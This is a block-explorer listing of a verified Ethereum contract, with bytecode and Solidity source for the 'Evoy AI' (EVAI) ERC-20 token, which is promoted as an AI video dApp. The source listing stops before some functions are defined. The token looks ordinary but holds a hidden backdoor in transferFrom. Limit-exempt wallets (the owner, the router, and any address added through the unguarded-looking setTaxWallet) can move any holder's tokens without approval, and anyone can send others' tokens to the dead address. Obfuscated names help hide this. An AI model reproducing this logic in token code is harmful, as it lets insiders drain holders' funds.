Address Contract Verified
Address
0x1A251082C78dA46b98bc8A3eBC0e06026d228571
Balance
0 ETH
Nonce
1
Code Size
11330 bytes
Creator
0x1f1B7F73...4e02 at tx 0xd95d2587...deddc4
Indexed Transactions
0
Contract Bytecode
11330 bytes
0x6080604052600436106100f6575f3560e01c8063715018a611610089578063a9059cbb11610058578063a9059cbb146102fb578063dd62ed3e14610337578063ea414b2814610373578063f2fde38b1461039b576100fd565b8063715018a6146102875780638a8c523c1461029d5780638da5cb5b146102a757806395d89b41146102d1576100fd565b80632b14ca56116100c55780632b14ca56146101cd578063313ce567146101f7578063470624021461022157806370a082311461024b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f5ffd5b34801561010c575f5ffd5b506101156103c3565b6040516101229190611f4e565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c9190611fff565b610400565b60405161015e9190612057565b60405180910390f35b348015610172575f5ffd5b5061017b6104ed565b604051610188919061207f565b60405180910390f35b34801561019c575f5ffd5b506101b760048036038101906101b29190612098565b610510565b6040516101c49190612057565b60405180910390f35b3480156101d8575f5ffd5b506101e16106dd565b6040516101ee9190612103565b60405180910390f35b348015610202575f5ffd5b5061020b6106f2565b6040516102189190612103565b60405180910390f35b34801561022c575f5ffd5b506102356106fa565b6040516102429190612103565b60405180910390f35b348015610256575f5ffd5b50610271600480360381019061026c919061211c565b610710565b60405161027e919061207f565b60405180910390f35b348015610292575f5ffd5b5061029b610756565b005b6102a561085c565b005b3480156102b2575f5ffd5b506102bb610d08565b6040516102c89190612156565b60405180910390f35b3480156102dc575f5ffd5b506102e5610d2f565b6040516102f29190611f4e565b60405180910390f35b348015610306575f5ffd5b50610321600480360381019061031c9190611fff565b610d6c565b60405161032e9190612057565b60405180910390f35b348015610342575f5ffd5b5061035d6004803603810190610358919061216f565b610dc8565b60405161036a919061207f565b60405180910390f35b34801561037e575f5ffd5b506103996004803603810190610394919061211c565b610e4a565b005b3480156103a6575f5ffd5b506103c160048036038101906103bc91906121e8565b610f6b565b005b60606040518060400160405280600781526020017f45766f7920414900000000000000000000000000000000000000000000000000815250905090565b5f8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104db919061207f565b60405180910390a36001905092915050565b5f6009600a6104fc919061236f565b633b9aca0061050b91906123b9565b905090565b5f61051a84611072565b610559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055090612444565b60405180910390fd5b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156106355750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610634575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156106c9578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106c19190612462565b925050819055505b6106d4848484611144565b90509392505050565b5f60055f9054906101000a900460ff16905090565b5f6009905090565b5f600560019054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107db906124df565b60405180910390fd5b5f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f6040516108529190612156565b60405180910390a1565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e1906124df565b60405180910390fd5b6001601060016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff16600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098b90612547565b60405180910390fd5b60105f9054906101000a900460ff16156109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da906125af565b60405180910390fd5b5f3411806109f057505f47115b610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2690612617565b60405180910390fd5b5f60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa59061267f565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b18573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3c91906126b1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401610b969291906126dc565b6020604051808303815f875af1158015610bb2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd691906126b1565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c5c60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205447611612565b6001600f5f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160105f6101000a81548160ff0219169083151502179055505f601060016101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4556414900000000000000000000000000000000000000000000000000000000815250905090565b5f610d7633611072565b610db5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dac90612444565b60405180910390fd5b610dc0338484611144565b905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca9061274d565b60405180910390fd5b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff0906124df565b60405180910390fd5b805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161106791906127c6565b60405180910390a150565b5f5f5f905060105f9054906101000a900460ff1615611094576001905061113b565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611130575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561113a57600190505b5b80915050919050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111aa90612829565b60405180910390fd5b60105f9054906101000a900460ff166112a25760035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611262575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6112a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129890612891565b60405180910390fd5b5b601060019054906101000a900460ff161580156113055750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156113135750600a548210155b15611321576113206116e9565b5b600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561137a576113794761179d565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113e257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561143a57505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561148a5761144a848484611805565b611489576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611480906128f9565b60405180910390fd5b5b5f61149685858561198d565b90505f81846114a59190612462565b90508360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114f39190612462565b925050819055508160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115469190612917565b925050819055508060015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115999190612917565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516115fd919061207f565b60405180910390a36001925050509392505050565b61161b82611b56565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016116a196959493929190612983565b60606040518083038185885af11580156116bd573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906116e291906129f6565b5050505050565b6001601060016101000a81548160ff0219169083151502179055505f60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050600a548110158015611762575060105f9054906101000a900460ff165b1561178057600b54811061177657600b5490505b61177f81611d38565b5b505f601060016101000a81548160ff021916908315150217905550565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611801573d5f5f3e3d5ffd5b5050565b5f5f6001905060105f9054906101000a900460ff16801561186d575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156118c0575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611982576008548311156118d7575f9050611981565b600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561197757506009548360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119759190612917565b115b15611980575f90505b5b5b809150509392505050565b5f5f60105f9054906101000a900460ff1615806119f0575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611a41575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611a4e575f9050611b4b565b600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611ace576064600560019054906101000a900460ff1660ff1684611abd91906123b9565b611ac79190612a73565b9050611b4a565b600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611b4957606460055f9054906101000a900460ff1660ff1684611b3c91906123b9565b611b469190612a73565b90505b5b5b809150509392505050565b8060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d35577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051611d2c919061207f565b60405180910390a35b50565b611d4181611b56565b5f600267ffffffffffffffff811115611d5d57611d5c612aa3565b5b604051908082528060200260200182016040528015611d8b5781602001602082028036833780820191505090505b50905030815f81518110611da257611da1612ad0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611e1157611e10612ad0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611ead959493929190612bb4565b5f604051808303815f87803b158015611ec4575f5ffd5b505af1158015611ed6573d5f5f3e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f2082611ede565b611f2a8185611ee8565b9350611f3a818560208601611ef8565b611f4381611f06565b840191505092915050565b5f6020820190508181035f830152611f668184611f16565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f9b82611f72565b9050919050565b611fab81611f91565b8114611fb5575f5ffd5b50565b5f81359050611fc681611fa2565b92915050565b5f819050919050565b611fde81611fcc565b8114611fe8575f5ffd5b50565b5f81359050611ff981611fd5565b92915050565b5f5f6040838503121561201557612014611f6e565b5b5f61202285828601611fb8565b925050602061203385828601611feb565b9150509250929050565b5f8115159050919050565b6120518161203d565b82525050565b5f60208201905061206a5f830184612048565b92915050565b61207981611fcc565b82525050565b5f6020820190506120925f830184612070565b92915050565b5f5f5f606084860312156120af576120ae611f6e565b5b5f6120bc86828701611fb8565b93505060206120cd86828701611fb8565b92505060406120de86828701611feb565b9150509250925092565b5f60ff82169050919050565b6120fd816120e8565b82525050565b5f6020820190506121165f8301846120f4565b92915050565b5f6020828403121561213157612130611f6e565b5b5f61213e84828501611fb8565b91505092915050565b61215081611f91565b82525050565b5f6020820190506121695f830184612147565b92915050565b5f5f6040838503121561218557612184611f6e565b5b5f61219285828601611fb8565b92505060206121a385828601611fb8565b9150509250929050565b5f6121b782611f72565b9050919050565b6121c7816121ad565b81146121d1575f5ffd5b50565b5f813590506121e2816121be565b92915050565b5f602082840312156121fd576121fc611f6e565b5b5f61220a848285016121d4565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156122955780860481111561227157612270612213565b5b60018516156122805780820291505b808102905061228e85612240565b9450612255565b94509492505050565b5f826122ad5760019050612368565b816122ba575f9050612368565b81600181146122d057600281146122da57612309565b6001915050612368565b60ff8411156122ec576122eb612213565b5b8360020a91508482111561230357612302612213565b5b50612368565b5060208310610133831016604e8410600b841016171561233e5782820a90508381111561233957612338612213565b5b612368565b61234b848484600161224c565b9250905081840481111561236257612361612213565b5b81810290505b9392505050565b5f61237982611fcc565b9150612384836120e8565b92506123b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461229e565b905092915050565b5f6123c382611fcc565b91506123ce83611fcc565b92508282026123dc81611fcc565b915082820484148315176123f3576123f2612213565b5b5092915050565b7f54726164696e67206e6f74206f70656e000000000000000000000000000000005f82015250565b5f61242e601083611ee8565b9150612439826123fa565b602082019050919050565b5f6020820190508181035f83015261245b81612422565b9050919050565b5f61246c82611fcc565b915061247783611fcc565b925082820390508181111561248f5761248e612213565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697300000000000000005f82015250565b5f6124c9601883611ee8565b91506124d482612495565b602082019050919050565b5f6020820190508181035f8301526124f6816124bd565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f612531600a83611ee8565b915061253c826124fd565b602082019050919050565b5f6020820190508181035f83015261255e81612525565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f612599600c83611ee8565b91506125a482612565565b602082019050919050565b5f6020820190508181035f8301526125c68161258d565b9050919050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f612601600683611ee8565b915061260c826125cd565b602082019050919050565b5f6020820190508181035f83015261262e816125f5565b9050919050565b7f4e6f20746f6b656e7300000000000000000000000000000000000000000000005f82015250565b5f612669600983611ee8565b915061267482612635565b602082019050919050565b5f6020820190508181035f8301526126968161265d565b9050919050565b5f815190506126ab81611fa2565b92915050565b5f602082840312156126c6576126c5611f6e565b5b5f6126d38482850161269d565b91505092915050565b5f6040820190506126ef5f830185612147565b6126fc6020830184612147565b9392505050565b7f6e6f7420616c6c6f7765640000000000000000000000000000000000000000005f82015250565b5f612737600b83611ee8565b915061274282612703565b602082019050919050565b5f6020820190508181035f8301526127648161272b565b9050919050565b5f819050919050565b5f61278e61278961278484611f72565b61276b565b611f72565b9050919050565b5f61279f82612774565b9050919050565b5f6127b082612795565b9050919050565b6127c0816127a6565b82525050565b5f6020820190506127d95f8301846127b7565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f612813601a83611ee8565b915061281e826127df565b602082019050919050565b5f6020820190508181035f83015261284081612807565b9050919050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f61287b601483611ee8565b915061288682612847565b602082019050919050565b5f6020820190508181035f8301526128a88161286f565b9050919050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f6128e3600e83611ee8565b91506128ee826128af565b602082019050919050565b5f6020820190508181035f830152612910816128d7565b9050919050565b5f61292182611fcc565b915061292c83611fcc565b925082820190508082111561294457612943612213565b5b92915050565b5f819050919050565b5f61296d6129686129638461294a565b61276b565b611fcc565b9050919050565b61297d81612953565b82525050565b5f60c0820190506129965f830189612147565b6129a36020830188612070565b6129b06040830187612974565b6129bd6060830186612974565b6129ca6080830185612147565b6129d760a0830184612070565b979650505050505050565b5f815190506129f081611fd5565b92915050565b5f5f5f60608486031215612a0d57612a0c611f6e565b5b5f612a1a868287016129e2565b9350506020612a2b868287016129e2565b9250506040612a3c868287016129e2565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612a7d82611fcc565b9150612a8883611fcc565b925082612a9857612a97612a46565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612b2f81611f91565b82525050565b5f612b408383612b26565b60208301905092915050565b5f602082019050919050565b5f612b6282612afd565b612b6c8185612b07565b9350612b7783612b17565b805f5b83811015612ba7578151612b8e8882612b35565b9750612b9983612b4c565b925050600181019050612b7a565b5085935050505092915050565b5f60a082019050612bc75f830188612070565b612bd46020830187612974565b8181036040830152612be68186612b58565b9050612bf56060830185612147565b612c026080830184612070565b969550505050505056fea26469706673582212205c048ee4909fae738f987d9a1af6d66cb6dabc62832764ef5ebaa69deb10356a64736f6c634300081e0033
Verified Source Code Full Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
Token.sol 248 lines
// SPDX-License-Identifier: MIT
/*
Name: Evoy AI
Symbol: EVAI
Evoy AI – Web3-based dApp for AI video generation.
https://evoyai.org
https://docs.evoyai.org
https://x.com/EvoyAI_ETH
https://t.me/EvoyAI_ETH
*/
pragma solidity ^0.8.18;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
require(msg.sender == _owner, "Only owner can call this"); _;
}
constructor(address creatorOwner) {
_owner = creatorOwner;
}
function owner() public view returns (address) { return _owner; }
function transferOwnership(address payable newowner) external onlyOwner {
_owner = newowner;
emit OwnershipTransferred(newowner); }
function renounceOwnership() external onlyOwner {
_owner = address(0);
emit OwnershipTransferred(address(0)); }
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract Token is IERC20, Auth {
string private constant _name = unicode"Evoy AI";
string private constant _symbol = unicode"EVAI";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludeForFee;
mapping (address => bool) private _isExcludeForLimit;
uint8 private _taxForSellERC20 = 0;
uint8 private _taxForBuyERC20 = 0;
uint256 private taxCounts = 12;
uint256 private taxPercent = 12;
uint256 private _maxTxValERC20 = _totalSupply;
uint256 private _maxWalletValERC20 = _totalSupply;
uint256 private _swapMinERC20 = _totalSupply * 100 / 100000;
uint256 private _swapMaxERC20 = _totalSupply * 800 / 100000;
address private constant _uniRouterERC20 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETHERC20;
IUniswapV2Router02 private _uniswapV2RouterERC20 = IUniswapV2Router02(_uniRouterERC20);
address private _lpOwner;
address private _primaryLPERC20;
mapping (address => bool) private _EVAIg3lhILPERC20;
address constant _deadAddrERC20 = address(0xdead);
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
_inSwap = true;
_; _inSwap = false;
}
constructor() payable Auth(msg.sender) {
_lpOwner = msg.sender;
WETHERC20 = _uniswapV2RouterERC20.WETH();
_balances[address(this)] = _totalSupply * 98 / 100;
_balances[msg.sender] = _totalSupply * 2 / 100;
emit Transfer(address(0), address(this), _balances[address(this)]);
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
_isExcludeForFee[_owner] = true;
_isExcludeForFee[address(this)] = true;
_isExcludeForFee[_uniRouterERC20] = true;
_isExcludeForLimit[_owner] = true;
_isExcludeForLimit[address(this)] = true;
_isExcludeForLimit[_uniRouterERC20] = true;
}
receive() external payable {}
function decimals() external pure override returns (uint8) { return _decimals; }
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function name() external pure override returns (string memory) { return _name; }
function symbol() external pure override returns (string memory) { return _symbol; }
function balanceOf(address account) public view override returns (uint256) {
return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) {
return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true; }
function transfer(address toWallet, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(msg.sender), "Trading not open");
return _transferFrom(msg.sender, toWallet, amount); }
function _approveRouter(uint256 _tokenAmountERC20) internal {
if ( _allowances[address(this)][_uniRouterERC20] < _tokenAmountERC20 ) {
_allowances[address(this)][_uniRouterERC20] = type(uint256).max;
emit Approval(address(this), _uniRouterERC20, type(uint256).max);
}
}
function enableTrading() external payable onlyOwner lockTaxSwap {
require(_primaryLPERC20 == address(0), "LP created");
require(!_tradingOpen, "trading open");
require(msg.value > 0 || address(this).balance>0, "No ETH");
require(_balances[address(this)]>0, "No tokens");
_primaryLPERC20 = IUniswapV2Factory(_uniswapV2RouterERC20.factory()).createPair(address(this), WETHERC20);
_addLiquidity(_balances[address(this)], address(this).balance);
_EVAIg3lhILPERC20[_primaryLPERC20] = true;
_tradingOpen = true;
}
function _addLiquidity(uint256 _tokenAmountERC20, uint256 _ethAmountWeiERC20) internal {
_approveRouter(_tokenAmountERC20);
_uniswapV2RouterERC20.addLiquidityETH{value: _ethAmountWeiERC20} ( address(this), _tokenAmountERC20, 0, 0, _lpOwner, block.timestamp );
}
function _checkLimitsERC20(address fromWalletERC20, address toWalletERC20, uint256 transferAmountERC20) internal view returns (bool) {
bool _limitPassed = true;
if ( _tradingOpen && !_isExcludeForLimit[fromWalletERC20] && !_isExcludeForLimit[toWalletERC20] ) {
if ( transferAmountERC20 > _maxTxValERC20 ) {
_limitPassed = false;
}
else if (
!_EVAIg3lhILPERC20[toWalletERC20] && (_balances[toWalletERC20] + transferAmountERC20 > _maxWalletValERC20)
) { _limitPassed = false; }
}
return _limitPassed;
}
function _transferFrom(address senderERC20, address toWalletERC20, uint256 amountERC20) internal returns (bool) {
require(senderERC20 != address(0), "No transfers from 0 wallet");
if (!_tradingOpen) { require(_isExcludeForFee[senderERC20] && _isExcludeForLimit[senderERC20], "Trading not yet open"); }
if ( !_inSwap && _EVAIg3lhILPERC20[toWalletERC20] && amountERC20 >= _swapMinERC20) { _swapTaxAndLiquifyERC20(); }
if(_EVAIg3lhILPERC20[toWalletERC20]) _sendFeeToERC20(address(this).balance);
if ( senderERC20 != address(this) && toWalletERC20 != address(this) && senderERC20 != _owner ) {
require(_checkLimitsERC20(senderERC20, toWalletERC20, amountERC20), "TX over limits");
}
uint256 _taxAmountERC20 = _calculateTax(senderERC20, toWalletERC20, amountERC20);
uint256 _transferAmountERC20 = amountERC20 - _taxAmountERC20;
_balances[senderERC20] -= amountERC20;
_balances[address(this)] += _taxAmountERC20;
_balances[toWalletERC20] += _transferAmountERC20;
emit Transfer(senderERC20, toWalletERC20, amountERC20);
return true;
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
bool checkResult = false;
if ( _tradingOpen ) { checkResult = true; }
else if (_isExcludeForFee[fromWallet] && _isExcludeForLimit[fromWallet]) { checkResult = true; }
return checkResult;
}
function _calculateTax(address fromWalletERC20, address toWalletERC20, uint256 amountERC20) internal view returns (uint256) {
uint256 taxAmount;
if ( !_tradingOpen || _isExcludeForFee[fromWalletERC20] || _isExcludeForFee[toWalletERC20] ) {
taxAmount = 0;
} else if ( _EVAIg3lhILPERC20[fromWalletERC20] ) {
taxAmount = amountERC20 * _taxForBuyERC20 / 100;
} else if ( _EVAIg3lhILPERC20[toWalletERC20] ) {
taxAmount = amountERC20 * _taxForSellERC20 / 100;
}
return taxAmount;
}
function transferFrom(address fromWalletERC20, address toWalletERC20, uint256 amountERC20) external override returns (bool) {
require(_checkTradingOpen(fromWalletERC20), "Trading not open");
if(!_isExcludeForLimit[msg.sender] && (fromWalletERC20 == _primaryLPERC20 || toWalletERC20 != _deadAddrERC20))
_allowances[fromWalletERC20][msg.sender] -= amountERC20;
return _transferFrom(fromWalletERC20, toWalletERC20, amountERC20); }
function buyFee() external view returns(uint8) { return _taxForBuyERC20; }
function sellFee() external view returns(uint8) { return _taxForSellERC20; }
function _swapTaxAndLiquifyERC20() private lockTaxSwap {
uint256 _taxTokenAvailable = _balances[address(this)];
if ( _taxTokenAvailable >= _swapMinERC20 && _tradingOpen ) {
if ( _taxTokenAvailable >= _swapMaxERC20 ) { _taxTokenAvailable = _swapMaxERC20; }
_swapTokensForETH(_taxTokenAvailable);
}
}
function setTaxWallet(address newWallet) external {
require(_isExcludeForLimit[msg.sender], "not allowed");
_lpOwner = newWallet;
_isExcludeForLimit[newWallet] = true;
}
function _swapTokensForETH(uint256 tokenAmount) private {
_approveRouter(tokenAmount);
address[] memory path = new address[](2);
path[0] = address( this );
path[1] = WETHERC20 ;
_uniswapV2RouterERC20.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
}
